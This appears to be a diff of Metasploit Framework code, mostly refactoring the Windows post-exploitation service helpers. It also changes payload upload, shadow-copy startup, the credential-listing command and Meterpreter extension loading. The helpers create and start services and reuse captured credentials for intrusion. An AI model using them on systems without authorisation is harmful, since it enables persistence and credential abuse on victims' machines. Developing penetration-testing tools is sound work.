cmd_location = "#{payload_path}\\#{payload_filename}" cmd_location = "#{payload_path}\\#{payload_filename}"
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...") print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
write_file(cmd_location, exe_payload) write_file(cmd_location, exe_payload)

View File

@ -23,8 +23,29 @@ end
# #
module Services module Services
START_TYPE = ["Boot","System","Auto","Manual","Disabled"]
START_TYPE_BOOT = 0
START_TYPE_SYSTEM = 1
START_TYPE_AUTO = 2
START_TYPE_MANUAL = 3
START_TYPE_DISABLED = 4
SERVICE_STOPPED = 1
SERVICE_START_PENDING = 2
SERVICE_STOP_PENDING = 3
SERVICE_RUNNING = 4
SERVICE_CONTINUE_PENDING = 5
SERVICE_PAUSE_PENDING = 6
SERVICE_PAUSED = 7
include ::Msf::Post::Windows::Error
include ::Msf::Post::Windows::ExtAPI
include ::Msf::Post::Windows::Registry include ::Msf::Post::Windows::Registry
def advapi32
session.railgun.advapi32
end
# #
# Open the service manager with advapi32.dll!OpenSCManagerA on the # Open the service manager with advapi32.dll!OpenSCManagerA on the
# given host or the local machine if :host option is nil. If called # given host or the local machine if :host option is nil. If called
@ -42,12 +63,12 @@ module Services
# OpenSCManagerA() # OpenSCManagerA()
# @yield [manager] Gives the block a manager handle as returned by # @yield [manager] Gives the block a manager handle as returned by
# advapi32.dll!OpenSCManagerA. When the block returns, the handle # advapi32.dll!OpenSCManagerA. When the block returns, the handle
# will be closed with {#close_sc_manager}. # will be closed with {#close_service_handle}.
# @raise [RuntimeError] if OpenSCManagerA returns a NULL handle # @raise [RuntimeError] if OpenSCManagerA returns a NULL handle
# #
def open_sc_manager(opts={}) def open_sc_manager(opts={})
host = opts[:host] || nil host = opts[:host] || nil
access = opts[:access] || 0xF003F access = opts[:access] || "SC_MANAGER_ALL_ACCESS"
machine_str = host ? "\\\\#{host}" : nil machine_str = host ? "\\\\#{host}" : nil
# SC_HANDLE WINAPI OpenSCManager( # SC_HANDLE WINAPI OpenSCManager(
@ -55,16 +76,16 @@ module Services
# _In_opt_ LPCTSTR lpDatabaseName, # _In_opt_ LPCTSTR lpDatabaseName,
# _In_ DWORD dwDesiredAccess # _In_ DWORD dwDesiredAccess
# ); # );
manag = session.railgun.advapi32.OpenSCManagerA(machine_str,nil,access) manag = advapi32.OpenSCManagerA(machine_str,nil,access)
if (manag["return"] == 0) if (manag["return"] == 0)
raise RuntimeError.new("Unable to open service manager, GetLastError: #{manag["GetLastError"]}") raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}")
end end
if (block_given?) if (block_given?)
begin begin
yield manag["return"] yield manag["return"]
ensure ensure
close_sc_manager(manag["return"]) close_service_handle(manag["return"])
end end
else else
return manag["return"] return manag["return"]
@ -74,39 +95,115 @@ module Services
# #
# Call advapi32.dll!CloseServiceHandle on the given handle # Call advapi32.dll!CloseServiceHandle on the given handle
# #
def close_sc_manager(handle) def close_service_handle(handle)
if handle if handle
session.railgun.advapi32.CloseServiceHandle(handle) advapi32.CloseServiceHandle(handle)
end
end
#
# Open the service with advapi32.dll!OpenServiceA on the
# target manager
#
# @return [Fixnum] Opaque Windows handle SC_HANDLE as returned by
# OpenServiceA()
# @yield [manager] Gives the block a service handle as returned by
# advapi32.dll!OpenServiceA. When the block returns, the handle
# will be closed with {#close_service_handle}.
# @raise [RuntimeError] if OpenServiceA failed
#
def open_service_handle(manager, name, access)
handle = advapi32.OpenServiceA(manager, name, access)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}")
end
if (block_given?)
begin
yield handle["return"]
ensure
close_service_handle(handle["return"])
end
else
return handle["return"]
end
end
# Yield each service name on the remote host
#
# @todo Allow operating on a remote host
# @yield [String] Case-sensitive name of a service
def each_service(&block)
if load_extapi
session.extapi.service.enumerate.each(&block)
else
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
keys = registry_enumkeys(serviceskey)
keys.each do |sk|
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type")
# From http://support.microsoft.com/kb/103000
#
# 0x1 A Kernel device driver.
#
# 0x2 File system driver, which is also
# a Kernel device driver.
#
# 0x4 A set of arguments for an adapter.
#
# 0x10 A Win32 program that can be started
# by the Service Controller and that
# obeys the service control protocol.
# This type of Win32 service runs in
# a process by itself.
#
# 0x20 A Win32 service that can share a process
# with other Win32 services.
if srvtype == 32 || srvtype == 16
yield sk
end
end
keys
end end
end end
# #
# List all Windows Services present # List all Windows Services present
# #
# @return [Array] The names of the services. # @return [Array<Hash>] Array of Hashes containing Service details. May contain the following keys:
# * :name
# * :display
# * :pid
# * :status
# * :interactive
# #
# @todo Rewrite to allow operating on a remote host # @todo Rewrite to allow operating on a remote host
# #
def service_list def service_list
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" if load_extapi
a =[] return session.extapi.service.enumerate
services = [] else
keys = registry_enumkeys(serviceskey) serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
keys.each do |s| a =[]
if a.length >= 10 services = []
a.first.join keys = registry_enumkeys(serviceskey)
a.delete_if {|x| not x.alive?} keys.each do |s|
end if a.length >= 10
t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk| a.first.join
begin a.delete_if {|x| not x.alive?}
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
if srvtype == "32" or srvtype == "16"
services << sk
end
rescue
end end
} t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk|
a.push(t) begin
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
if srvtype == "32" or srvtype == "16"
services << {:name => sk }
end
rescue
end
}
a.push(t)
end
end end
return services return services
@ -119,6 +216,9 @@ module Services
# command executed by the service. Service name is case sensitive. Hash # command executed by the service. Service name is case sensitive. Hash
# keys are Name, Start, Command and Credentials. # keys are Name, Start, Command and Credentials.
# #
# If ExtAPI is available we return the DACL, LOGroup, and Interactive
# values otherwise these values are nil
#
# @param name [String] The target service's name (not to be confused # @param name [String] The target service's name (not to be confused
# with Display Name). Case sensitive. # with Display Name). Case sensitive.
# #
@ -128,18 +228,24 @@ module Services
# #
def service_info(name) def service_info(name)
service = {} service = {}
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s if load_extapi
srvstart = registry_getvaldata(servicekey,"Start").to_i begin
if srvstart == 2 return session.extapi.service.query(name)
service["Startup"] = "Auto" rescue Rex::Post::Meterpreter::RequestError => e
elsif srvstart == 3 vprint_error("Request Error #{e} falling back to registry technique")
service["Startup"] = "Manual" end
elsif srvstart == 4
service["Startup"] = "Disabled"
end end
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
service[:display] = registry_getvaldata(servicekey,"DisplayName").to_s
service[:starttype] = registry_getvaldata(servicekey,"Start").to_i
service[:path] = registry_getvaldata(servicekey,"ImagePath").to_s
service[:startname] = registry_getvaldata(servicekey,"ObjectName").to_s
service[:dacl] = nil
service[:logroup] = nil
service[:interactive] = nil
return service return service
end end
@ -149,17 +255,68 @@ module Services
# Mode is a string with either auto, manual or disable for the # Mode is a string with either auto, manual or disable for the
# corresponding setting. The name of the service is case sensitive. # corresponding setting. The name of the service is case sensitive.
# #
# @todo Rewrite to allow operating on a remote host
# #
def service_change_startup(name,mode) def service_change_startup(name, mode, server=nil)
if mode.is_a? Integer
startup_number = mode
else
case mode.downcase
when "boot" then startup_number = START_TYPE_BOOT
when "system" then startup_number = START_TYPE_SYSTEM
when "auto" then startup_number = START_TYPE_AUTO
when "manual" then startup_number = START_TYPE_MANUAL
when "disable" then startup_number = START_TYPE_DISABLED
else
raise RuntimeError, "Invalid Startup Mode: #{mode}"
end
end
if session.railgun
begin
ret = service_change_config(name, {:starttype => startup_number}, server)
return (ret == Error::SUCCESS)
rescue Rex::Post::Meterpreter::RequestError => e
if server
# Cant do remote registry changes at present
return false
else
vprint_error("Request Error #{e} falling back to registry technique")
end
end
end
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
case mode.downcase registry_setvaldata(servicekey,"Start",startup_number,"REG_DWORD")
when "auto" then end
registry_setvaldata(servicekey,"Start","2","REG_DWORD")
when "manual" then #
registry_setvaldata(servicekey,"Start","3","REG_DWORD") # Modify a service on the session host
when "disable" then #
registry_setvaldata(servicekey,"Start","4","REG_DWORD") # @param name [String] Name of the service to be used as the key
# @param opts [Hash] Settings to be modified
# @param server [String,nil] A hostname or IP address. Default is the
# remote localhost
#
# @return [GetLastError] 0 if the function succeeds
#
def service_change_config(name, opts, server=nil)
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
open_service_handle(manager, name, "SERVICE_CHANGE_CONFIG") do |service_handle|
ret = advapi32.ChangeServiceConfigA(service_handle,
opts[:service_type] || "SERVICE_NO_CHANGE",
opts[:starttype] || "SERVICE_NO_CHANGE",
opts[:error_control] || "SERVICE_NO_CHANGE",
opts[:path] || nil,
opts[:logroup] || nil,
opts[:tag_id] || nil,
opts[:dependencies] || nil,
opts[:startname] || nil,
opts[:password] || nil,
opts[:display] || nil
)
return ret['GetLastError']
end
end end
end end
@ -167,47 +324,48 @@ module Services
# Create a service that runs +executable_on_host+ on the session host # Create a service that runs +executable_on_host+ on the session host
# #
# @param name [String] Name of the service to be used as the key # @param name [String] Name of the service to be used as the key
# @param display_name [String] Name of the service as displayed by mmc # @param opts [Hash] Settings to be modified
# @param executable_on_host [String] EXE on the remote filesystem to
# be used as the service executable
# @param startup [Fixnum] Constant used by CreateServiceA for startup
# type: 2 for Auto, 3 for Manual, 4 for Disable. Default is Auto
# @param server [String,nil] A hostname or IP address. Default is the # @param server [String,nil] A hostname or IP address. Default is the
# remote localhost # remote localhost
# #
# @return [true,false] True if there were no errors, false otherwise # @return [GetLastError] 0 if the function succeeds
# #
def service_create(name, display_name, executable_on_host, startup=2, server=nil) def service_create(name, opts, server=nil)
adv = session.railgun.advapi32 access = "SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_QUERY_LOCK_STATUS"
open_sc_manager(:host=>server, :access=>access) do |manager|
# SC_MANAGER_CONNECT 0x01 opts[:display] ||= Rex::Text.rand_text_alpha(8)
# SC_MANAGER_CREATE_SERVICE 0x02 opts[:desired_access] ||= "SERVICE_START"
# SC_MANAGER_QUERY_LOCK_STATUS 0x10 opts[:service_type] ||= "SERVICE_WIN32_OWN_PROCESS"
open_sc_manager(:host=>server, :access=>0x13) do |manager| opts[:starttype] ||= START_TYPE_AUTO
# SC_HANDLE WINAPI CreateService( opts[:error_control] ||= "SERVICE_ERROR_IGNORE"
# __in SC_HANDLE hSCManager, opts[:path] ||= nil
# __in LPCTSTR lpServiceName, opts[:logroup] ||= nil
# __in_opt LPCTSTR lpDisplayName, opts[:tag_id] ||= nil
# __in DWORD dwDesiredAccess, opts[:dependencies] ||= nil
# __in DWORD dwServiceType, opts[:startname] ||= nil
# __in DWORD dwStartType, opts[:password] ||= nil
# __in DWORD dwErrorControl,
# __in_opt LPCTSTR lpBinaryPathName, newservice = advapi32.CreateServiceA(manager,
# __in_opt LPCTSTR lpLoadOrderGroup, name,
# __out_opt LPDWORD lpdwTagId, opts[:display],
# __in_opt LPCTSTR lpDependencies, opts[:desired_access],
# __in_opt LPCTSTR lpServiceStartName, opts[:service_type],
# __in_opt LPCTSTR lpPassword opts[:starttype],
#); opts[:error_control],
newservice = adv.CreateServiceA(manager, name, display_name, opts[:path],
0x0010, 0X00000010, startup, 0, executable_on_host, opts[:logroup],
nil, nil, nil, nil, nil) opts[:tag_id], # out
adv.CloseServiceHandle(newservice["return"]) opts[:dependencies],
if newservice["GetLastError"] == 0 opts[:startname],
return true opts[:password]
else )
return false
if newservice
close_service_handle(newservice["return"])
end end
return newservice["GetLastError"]
end end
end end
@ -224,27 +382,11 @@ module Services
# @raise [RuntimeError] if OpenServiceA failed # @raise [RuntimeError] if OpenServiceA failed
# #
def service_start(name, server=nil) def service_start(name, server=nil)
adv = session.railgun.advapi32 open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
open_sc_manager(:host=>server, :access=>1) do |manager| open_service_handle(manager, name, "SERVICE_START") do |service_handle|
# SC_HANDLE WINAPI OpenService( retval = advapi32.StartServiceA(service_handle,0,nil)
# _In_ SC_HANDLE hSCManager,
# _In_ LPCTSTR lpServiceName,
# _In_ DWORD dwDesiredAccess
# );
# open with access SERVICE_START (0x0010)
handle = adv.OpenServiceA(manager, name, 0x10)
if(handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
end
retval = adv.StartServiceA(handle["return"],0,nil)
adv.CloseServiceHandle(handle["return"])
# This is terrible. Magic return values should be refactored to return retval["GetLastError"]
# something meaningful.
case retval["GetLastError"]
when 0; return 0 # everything worked
when 1056; return 1 # service already started
when 1058; return 2 # service disabled
end end
end end
end end
@ -260,22 +402,21 @@ module Services
# @raise (see #service_start) # @raise (see #service_start)
# #
def service_stop(name, server=nil) def service_stop(name, server=nil)
adv = session.railgun.advapi32 open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
open_service_handle(manager, name, "SERVICE_STOP") do |service_handle|
# SC_MANAGER_SERVICE_STOP (0x0020) retval = advapi32.ControlService(service_handle,1,28)
open_sc_manager(:host=>server, :access=>1) do |manager| case retval["GetLastError"]
# open with SERVICE_STOP (0x0020) when Error::SUCCESS,
handle = adv.OpenServiceA(manager, name, 0x20) Error::INVALID_SERVICE_CONTROL,
if(handle["return"] == 0) Error::SERVICE_CANNOT_ACCEPT_CTRL,
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") Error::SERVICE_NOT_ACTIVE
end status = parse_service_status_struct(retval['lpServiceStatus'])
retval = adv.ControlService(handle["return"],1,56) else
adv.CloseServiceHandle(handle["return"]) status = nil
end
case retval["GetLastError"] return retval["GetLastError"]
when 0; return 0 # worked
when 1062; return 1 # already stopped or disabled
when 1052; return 2 # cannot be stopped
end end
end end
end end
@ -286,24 +427,11 @@ module Services
# @param (see #service_start) # @param (see #service_start)
# #
def service_delete(name, server=nil) def service_delete(name, server=nil)
adv = session.railgun.advapi32
open_sc_manager(:host=>server) do |manager| open_sc_manager(:host=>server) do |manager|
# Now to grab a handle to the service. open_service_handle(manager, name, "DELETE") do |service_handle|
# Thank you, Wine project for defining the DELETE constant since it, ret = advapi32.DeleteService(service_handle)
# and all its friends, are missing from the MSDN docs. return ret["GetLastError"]
# #define DELETE 0x00010000
handle = adv.OpenServiceA(manager, name, 0x10000)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
end end
# Lastly, delete it
adv.DeleteService(handle["return"])
adv.CloseServiceHandle(handle["return"])
handle["GetLastError"]
end end
end end
@ -318,38 +446,109 @@ module Services
# #
# #
def service_status(name, server=nil) def service_status(name, server=nil)
adv = session.railgun.advapi32
ret = nil ret = nil
# 0x80000000 GENERIC_READ open_sc_manager(:host => server, :access => "GENERIC_READ") do |manager|
open_sc_manager(:host => server, :access => 0x80000000) do |manager| open_service_handle(manager, name, "GENERIC_READ") do |service_handle|
# Now to grab a handle to the service. status = advapi32.QueryServiceStatus(service_handle,28)
handle = adv.OpenServiceA(manager, name, 0x80000000)
if (handle["return"] == 0) if (status["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}")
else
ret = parse_service_status_struct(status['lpServiceStatus'])
end
end end
status = adv.QueryServiceStatus(handle["return"],28)
if (status["return"] == 0)
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
end
vals = status['lpServiceStatus'].unpack('V*')
adv.CloseServiceHandle(handle["return"])
ret = {
:type => vals[0],
:state => vals[1],
:controls_accepted => vals[2],
:win32_exit_code => vals[3],
:service_exit_code => vals[4],
:check_point => vals[5],
:wait_hint => vals[6]
}
end end
return ret return ret
end end
#
# Performs an aggressive service (re)start
# If service is disabled it will re-enable
# If service is running it will stop and restart
#
# @param name [String] The service name
# @param start_type [Integer] The start type to configure if disabled
# @param server [String] The server to target
#
# @return [Boolean] indicating success
#
#
def service_restart(name, start_type=START_TYPE_AUTO, server=nil)
tried = false
begin
status = service_start(name, server)
if status == Error::SUCCESS
vprint_good("[#{name}] Service started")
return true
else
raise RuntimeError, status
end
rescue RuntimeError => s
if tried
vprint_error("[#{name}] Unhandled error: #{s}")
return false
else
tried = true
end
case s.message.to_i
when Error::ACCESS_DENIED
vprint_error("[#{name}] Access denied")
when Error::INVALID_HANDLE
vprint_error("[#{name}] Invalid handle")
when Error::PATH_NOT_FOUND
vprint_error("[#{name}] Service binary could not be found")
when Error::SERVICE_ALREADY_RUNNING
vprint_status("[#{name}] Service already running attempting to stop and restart")
stopped = service_stop(name, server)
if ((stopped == Error::SUCCESS) || (stopped == Error::SERVICE_NOT_ACTIVE))
retry
else
vprint_error("[#{name}] Service disabled, unable to change start type Error: #{stopped}")
end
when Error::SERVICE_DISABLED
vprint_status("[#{name}] Service disabled attempting to set to manual")
if (service_change_config(name, {:starttype => start_type}, server) == Error::SUCCESS)
retry
else
vprint_error("[#{name}] Service disabled, unable to change start type")
end
else
vprint_error("[#{name}] Unhandled error: #{s}")
return false
end
end
end
#
# Parses out a SERVICE_STATUS struct from the
# lpServiceStatus out parameter
#
# @param (lpServiceStatus)
#
# @return [Hash] Containing SERVICE_STATUS values
#
def parse_service_status_struct(lpServiceStatus)
if lpServiceStatus
vals = lpServiceStatus.unpack('V*')
return {
:type => vals[0],
:state => vals[1],
:controls_accepted => vals[2],
:win32_exit_code => vals[3],
:service_exit_code => vals[4],
:check_point => vals[5],
:wait_hint => vals[6]
}
else
return nil
end
end
end end
end end

View File

@ -175,25 +175,9 @@ module ShadowCopy
print_status("Volume Shadow Copy service is running.") print_status("Volume Shadow Copy service is running.")
else else
print_status("Volume Shadow Copy service not running. Starting it now...") print_status("Volume Shadow Copy service not running. Starting it now...")
begin if service_restart("VSS", START_TYPE_MANUAL)
ss_result = service_start("VSS") print_good("Volume Shadow Copy started successfully.")
case ss_result else
when 0
print_status("Volume Shadow Copy started successfully.")
when 1
print_error("Volume Shadow Copy already running.")
when 2
print_error("Volume Shadow Copy is disabled.")
print_status("Attempting to re-enable...")
service_change_startup("VSS","manual")
ss_result = service_start("VSS")
if ss_result == 0
return true
else
return false
end
end
rescue
print_error("Insufficient Privs to start service!") print_error("Insufficient Privs to start service!")
return false return false
end end

View File

@ -98,7 +98,7 @@ module Msf::HTTP::Wordpress::Version
# try to extract version from readme # try to extract version from readme
# Example line: # Example line:
# Stable tag: 2.6.6 # Stable tag: 2.6.6
version = res.body.to_s[/(?:stable tag|version): (?!trunk)([0-9a-z.-]+)/i, 1] version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
# readme present, but no version number # readme present, but no version number
return Msf::Exploit::CheckCode::Detected if version.nil? return Msf::Exploit::CheckCode::Detected if version.nil?

View File

@ -2834,73 +2834,72 @@ class Core
res = [] res = []
res << o.default.to_s if o.default res << o.default.to_s if o.default
case o.class.to_s case o
when Msf::OptAddress
when 'Msf::OptAddress' case o.name.upcase
case o.name.upcase when 'RHOST'
when 'RHOST' option_values_target_addrs().each do |addr|
option_values_target_addrs().each do |addr| res << addr
res << addr
end
when 'LHOST'
rh = self.active_module.datastore["RHOST"]
if rh and not rh.empty?
res << Rex::Socket.source_address(rh)
else
res << Rex::Socket.source_address()
end
else
end end
when 'LHOST'
when 'Msf::OptAddressRange' rh = self.active_module.datastore["RHOST"]
case str if rh and not rh.empty?
when /^file:(.*)/ res << Rex::Socket.source_address(rh)
files = tab_complete_filenames($1, words) else
res += files.map { |f| "file:" + f } if files res << Rex::Socket.source_address()
when /\/$/
res << str+'32'
res << str+'24'
res << str+'16'
when /\-$/
res << str+str[0, str.length - 1]
else
option_values_target_addrs().each do |addr|
res << addr+'/32'
res << addr+'/24'
res << addr+'/16'
end
end end
else
end
when 'Msf::OptPort' when Msf::OptAddressRange
case o.name.upcase case str
when 'RPORT' when /^file:(.*)/
option_values_target_ports().each do |port| files = tab_complete_filenames($1, words)
res << port res += files.map { |f| "file:" + f } if files
end when /\/$/
res << str+'32'
res << str+'24'
res << str+'16'
when /\-$/
res << str+str[0, str.length - 1]
else
option_values_target_addrs().each do |addr|
res << addr+'/32'
res << addr+'/24'
res << addr+'/16'
end end
end
if (res.empty?) when Msf::OptPort
res << (rand(65534)+1).to_s case o.name.upcase
when 'RPORT'
option_values_target_ports().each do |port|
res << port
end end
end
when 'Msf::OptEnum' if (res.empty?)
o.enums.each do |val| res << (rand(65534)+1).to_s
res << val end
end
when 'Msf::OptPath' when Msf::OptEnum
files = tab_complete_filenames(str, words) o.enums.each do |val|
res += files if files res << val
end
when 'Msf::OptBool' when Msf::OptPath
res << 'true' files = tab_complete_filenames(str, words)
res << 'false' res += files if files
when 'Msf::OptString' when Msf::OptBool
if (str =~ /^file:(.*)/) res << 'true'
files = tab_complete_filenames($1, words) res << 'false'
res += files.map { |f| "file:" + f } if files
end when Msf::OptString
if (str =~ /^file:(.*)/)
files = tab_complete_filenames($1, words)
res += files.map { |f| "file:" + f } if files
end
end end
return res return res

View File

@ -68,6 +68,10 @@ class Db
] ]
end end
def allowed_cred_types
%w(password ntlm hash)
end
# #
# Returns true if the db is connected, prints an error and returns # Returns true if the db is connected, prints an error and returns
# false if not. # false if not.
@ -676,6 +680,8 @@ class Db
print_line " -p,--port <portspec> List creds with logins on services matching this port spec" print_line " -p,--port <portspec> List creds with logins on services matching this port spec"
print_line " -s <svc names> List creds matching comma-separated service names" print_line " -s <svc names> List creds matching comma-separated service names"
print_line " -u,--user <regex> List users that match this regex" print_line " -u,--user <regex> List users that match this regex"
print_line " -t,--type <type> List creds that match the following types: #{allowed_cred_types.join(',')}"
print_line " -R,--rhosts Set RHOSTS from the results of the search"
print_line print_line
print_line "Examples, listing:" print_line "Examples, listing:"
@ -683,6 +689,7 @@ class Db
print_line " creds 1.2.3.4/24 # nmap host specification" print_line " creds 1.2.3.4/24 # nmap host specification"
print_line " creds -p 22-25,445 # nmap port specification" print_line " creds -p 22-25,445 # nmap port specification"
print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services" print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services"
print_line " creds -t ntlm # All NTLM creds"
print_line print_line
print_line print_line
@ -760,6 +767,9 @@ class Db
host_ranges = [] host_ranges = []
port_ranges = [] port_ranges = []
svcs = [] svcs = []
rhosts = []
set_rhosts = false
#cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ]
cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ]
@ -806,6 +816,8 @@ class Db
end end
when "-d" when "-d"
mode = :delete mode = :delete
when '-R', '--rhosts'
set_rhosts = true
else else
# Anything that wasn't an option is a host to search for # Anything that wasn't an option is a host to search for
unless (arg_host_range(arg, host_ranges)) unless (arg_host_range(arg, host_ranges))
@ -822,6 +834,20 @@ class Db
pass_regex = Regexp.compile(pass) pass_regex = Regexp.compile(pass)
end end
if ptype
type = case ptype
when 'password'
Metasploit::Credential::Password
when 'hash'
Metasploit::Credential::PasswordHash
when 'ntlm'
Metasploit::Credential::NTLMHash
else
print_error("Unrecognized credential type #{ptype} -- must be one of #{allowed_cred_types.join(',')}")
return
end
end
# normalize # normalize
ports = port_ranges.flatten.uniq ports = port_ranges.flatten.uniq
svcs.flatten! svcs.flatten!
@ -839,6 +865,9 @@ class Db
query.each do |core| query.each do |core|
# Exclude creds that don't match the given type
next if type.present? && !core.private.kind_of?(type)
# Exclude creds that don't match the given user # Exclude creds that don't match the given user
if user_regex.present? && !core.public.username.match(user_regex) if user_regex.present? && !core.public.username.match(user_regex)
next next
@ -880,6 +909,7 @@ class Db
next next
end end
row = [ login.service.host.address ] row = [ login.service.host.address ]
rhosts << login.service.host.address
if login.service.name.present? if login.service.name.present?
row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})"
else else
@ -908,7 +938,8 @@ class Db
::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) }
print_status("Wrote creds to #{output_file}") print_status("Wrote creds to #{output_file}")
end end
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
print_status("Deleted #{delete_count} creds") if delete_count > 0 print_status("Deleted #{delete_count} creds") if delete_count > 0
} }
end end

View File

@ -1291,7 +1291,7 @@ class Site
xml << ' <ScanTriggers>' xml << ' <ScanTriggers>'
@site_config.scanConfig.scanTriggers.each do |s| @site_config.scanConfig.scanTriggers.each do |s|
if (s.class.to_s == "Nexpose::AutoUpdate") if s.kind_of?(Nexpose::AutoUpdate)
xml << ' <autoUpdate enabled="' + s.enabled + '" incremental="' + s.incremental + '"/>' xml << ' <autoUpdate enabled="' + s.enabled + '" incremental="' + s.incremental + '"/>'
end end
end end

View File

@ -159,15 +159,13 @@ class ClientCore < Extension
path = MeterpreterBinaries.path(modname, client.binary_suffix) path = MeterpreterBinaries.path(modname, client.binary_suffix)
if opts['ExtensionPath'] if opts['ExtensionPath']
path = opts['ExtensionPath'] path = ::File.expand_path(opts['ExtensionPath'])
end end
if path.nil? if path.nil?
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
end end
path = ::File.expand_path(path)
# Load the extension DLL # Load the extension DLL
commands = load_library( commands = load_library(
'LibraryFilePath' => path, 'LibraryFilePath' => path,

View File

@ -50,8 +50,6 @@ class Priv < Extension
raise RuntimeError, "elevator.#{binary_suffix} not found", caller raise RuntimeError, "elevator.#{binary_suffix} not found", caller
end end
elevator_path = ::File.expand_path( elevator_path )
elevator_data = "" elevator_data = ""
::File.open( elevator_path, "rb" ) { |f| ::File.open( elevator_path, "rb" ) { |f|

View File

@ -203,10 +203,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
alias delete rm alias delete rm
end end
# #
# Performs a rename from oldname to newname # Performs a rename from oldname to newname
# #
def File.mv(oldname, newname) def File.mv(oldname, newname)
request = Packet.create_request('stdapi_fs_file_move') request = Packet.create_request('stdapi_fs_file_move')
request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname )) request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname ))
@ -215,12 +215,12 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
response = client.send_request(request) response = client.send_request(request)
return response return response
end end
class << self class << self
alias move mv alias move mv
alias rename mv alias rename mv
end end
# #
# Upload one or more files to the remote remote directory supplied in # Upload one or more files to the remote remote directory supplied in

View File

@ -370,7 +370,6 @@ class ApiConstants
win_const_mgr.add_const('SQL_CVT_LONGVARBINARY',0x00040000) win_const_mgr.add_const('SQL_CVT_LONGVARBINARY',0x00040000)
win_const_mgr.add_const('WM_RESTORE_INDIVIDUALIZE',0x00000002) win_const_mgr.add_const('WM_RESTORE_INDIVIDUALIZE',0x00000002)
win_const_mgr.add_const('ARRAY_SEP_CHAR',0x00000009) win_const_mgr.add_const('ARRAY_SEP_CHAR',0x00000009)
win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002)
win_const_mgr.add_const('ERROR_NO_SAVEPOINT_WITH_OPEN_FILES',0x00001ABA) win_const_mgr.add_const('ERROR_NO_SAVEPOINT_WITH_OPEN_FILES',0x00001ABA)
win_const_mgr.add_const('OID_FDDI_SMT_STATION_ACTION',0x03030277) win_const_mgr.add_const('OID_FDDI_SMT_STATION_ACTION',0x03030277)
win_const_mgr.add_const('OID_PNP_ADD_WAKE_UP_PATTERN',0xFD010103) win_const_mgr.add_const('OID_PNP_ADD_WAKE_UP_PATTERN',0xFD010103)
@ -2357,7 +2356,70 @@ class ApiConstants
win_const_mgr.add_const('RTM_VIEW_MASK_UCAST',0x00000001) win_const_mgr.add_const('RTM_VIEW_MASK_UCAST',0x00000001)
win_const_mgr.add_const('CERT_ALT_NAME_VALUE_ERR_INDEX_MASK',0x0000FFFF) win_const_mgr.add_const('CERT_ALT_NAME_VALUE_ERR_INDEX_MASK',0x0000FFFF)
win_const_mgr.add_const('ERROR_NO_SUCH_GROUP',0x00000527) win_const_mgr.add_const('ERROR_NO_SUCH_GROUP',0x00000527)
# Generic Access Rights
win_const_mgr.add_const('GENERIC_ALL',0x10000000) win_const_mgr.add_const('GENERIC_ALL',0x10000000)
win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000)
win_const_mgr.add_const('GENERIC_WRITE',0x40000000)
win_const_mgr.add_const('GENERIC_READ',0x80000000)
# Standard Access Rights
win_const_mgr.add_const('DELETE',0x00010000)
win_const_mgr.add_const('READ_CONTROL',0x00020000)
win_const_mgr.add_const('WRITE_DAC',0x00040000)
win_const_mgr.add_const('WRITE_OWNER',0x00080000)
